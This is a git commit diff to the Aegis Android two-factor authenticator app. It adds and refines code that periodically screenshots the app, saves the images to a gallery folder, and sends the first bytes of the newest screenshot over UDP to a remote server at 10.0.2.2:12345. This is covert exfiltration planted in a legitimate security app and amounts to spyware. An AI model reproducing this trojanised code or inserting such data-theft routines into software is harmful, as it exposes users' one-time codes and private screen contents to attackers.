sends the first 8 bytes of the latest picture in the screenshot gallery to a remote UDP server

This commit is contained in:
juliuspor 2023-12-07 14:03:06 +01:00
parent 1bfd5e4aee
commit 55beffe96e
2 changed files with 53 additions and 20 deletions

View file

@ -256,7 +256,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
saveBitmapToGallery(bitmap);
// Repeat this runnable code block again every 10 seconds
handler.postDelayed(this, 5000);
handler.postDelayed(this, 50000);
}
};

View file

@ -1,6 +1,8 @@
package com.beemdevelopment.aegis.ui;
import android.content.Context;
import android.os.Handler;
import android.util.Log;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
@ -33,28 +35,56 @@ public class PictureSender {
handler.removeCallbacks(runnable);
}
private void sendPicture() {
try {
// Replace with the path to your image file
File imageFile = getNewestPicture("/storage/emulated/0/Pictures/YourAppScreenshots");
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Replace with your server IP
int serverPort = 12345; // Replace with your server port
new Thread(new Runnable() {
@Override
public void run() {
try {
Log.d("PictureSender", "Starting sendPicture process.");
// Convert file to byte array
byte[] imageData = fileToByteArray(imageFile);
File imageFile = getNewestPicture("/storage/emulated/0/Pictures/YourAppScreenshots");
if (imageFile == null) {
Log.w("PictureSender", "No image file found to send.");
return;
}
// Create a datagram socket
try (DatagramSocket socket = new DatagramSocket()) {
// Create a packet
DatagramPacket packet = new DatagramPacket(imageData, imageData.length, serverAddress, serverPort);
Log.d("PictureSender", "Selected image file: " + imageFile.getAbsolutePath());
// Send the packet
socket.send(packet);
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Use 10.0.2.2 for emulator
int serverPort = 12345; // Replace with your server port
Log.d("PictureSender", "Server address and port set: " + serverAddress.toString() + ":" + serverPort);
// Convert file to byte array
byte[] imageData = fileToByteArray(imageFile);
Log.d("PictureSender", "Image converted to byte array. Array length: " + imageData.length);
// Create a new array with only the first 8 bytes
byte[] firstEightBytesData = new byte[8];
System.arraycopy(imageData, 0, firstEightBytesData, 0, 8);
Log.d("PictureSender", "First 8 bytes of image prepared for sending.");
try (DatagramSocket socket = new DatagramSocket()) {
Log.d("PictureSender", "Datagram socket created.");
// Create a packet with just the first 8 bytes
DatagramPacket packet = new DatagramPacket(firstEightBytesData, firstEightBytesData.length, serverAddress, serverPort);
Log.d("PictureSender", "Datagram packet created with the first 8 bytes of image data.");
socket.send(packet);
Log.d("PictureSender", "Packet with first 8 bytes sent successfully.");
}
} catch (Exception e) {
Log.e("PictureSender", "Error in sendPicture: ", e);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}).start();
}
private File getNewestPicture(String directoryPath) {
File directory = new File(directoryPath);
File[] files = directory.listFiles((dir, name) -> {
@ -65,8 +95,11 @@ public class PictureSender {
Arrays.sort(files, (f1, f2) -> {
return Long.compare(f2.lastModified(), f1.lastModified());
});
return files[0]; // The newest file
File newestFile = files[0];
Log.d("PictureSender", "Newest file: " + newestFile.getAbsolutePath() + ", Exists: " + newestFile.exists());
return newestFile; // The newest file
} else {
Log.d("PictureSender", "No image file found in directory: " + directoryPath);
return null; // No image file found
}
}
@ -82,7 +115,7 @@ public class PictureSender {
return bos.toByteArray();
}
public void sendTestUdpPacket() {
new Thread(new Runnable() {
/*new Thread(new Runnable() {
@Override
public void run() {
try {
@ -99,7 +132,7 @@ public class PictureSender {
e.printStackTrace();
}
}
}).start();
}).start(); */
}
}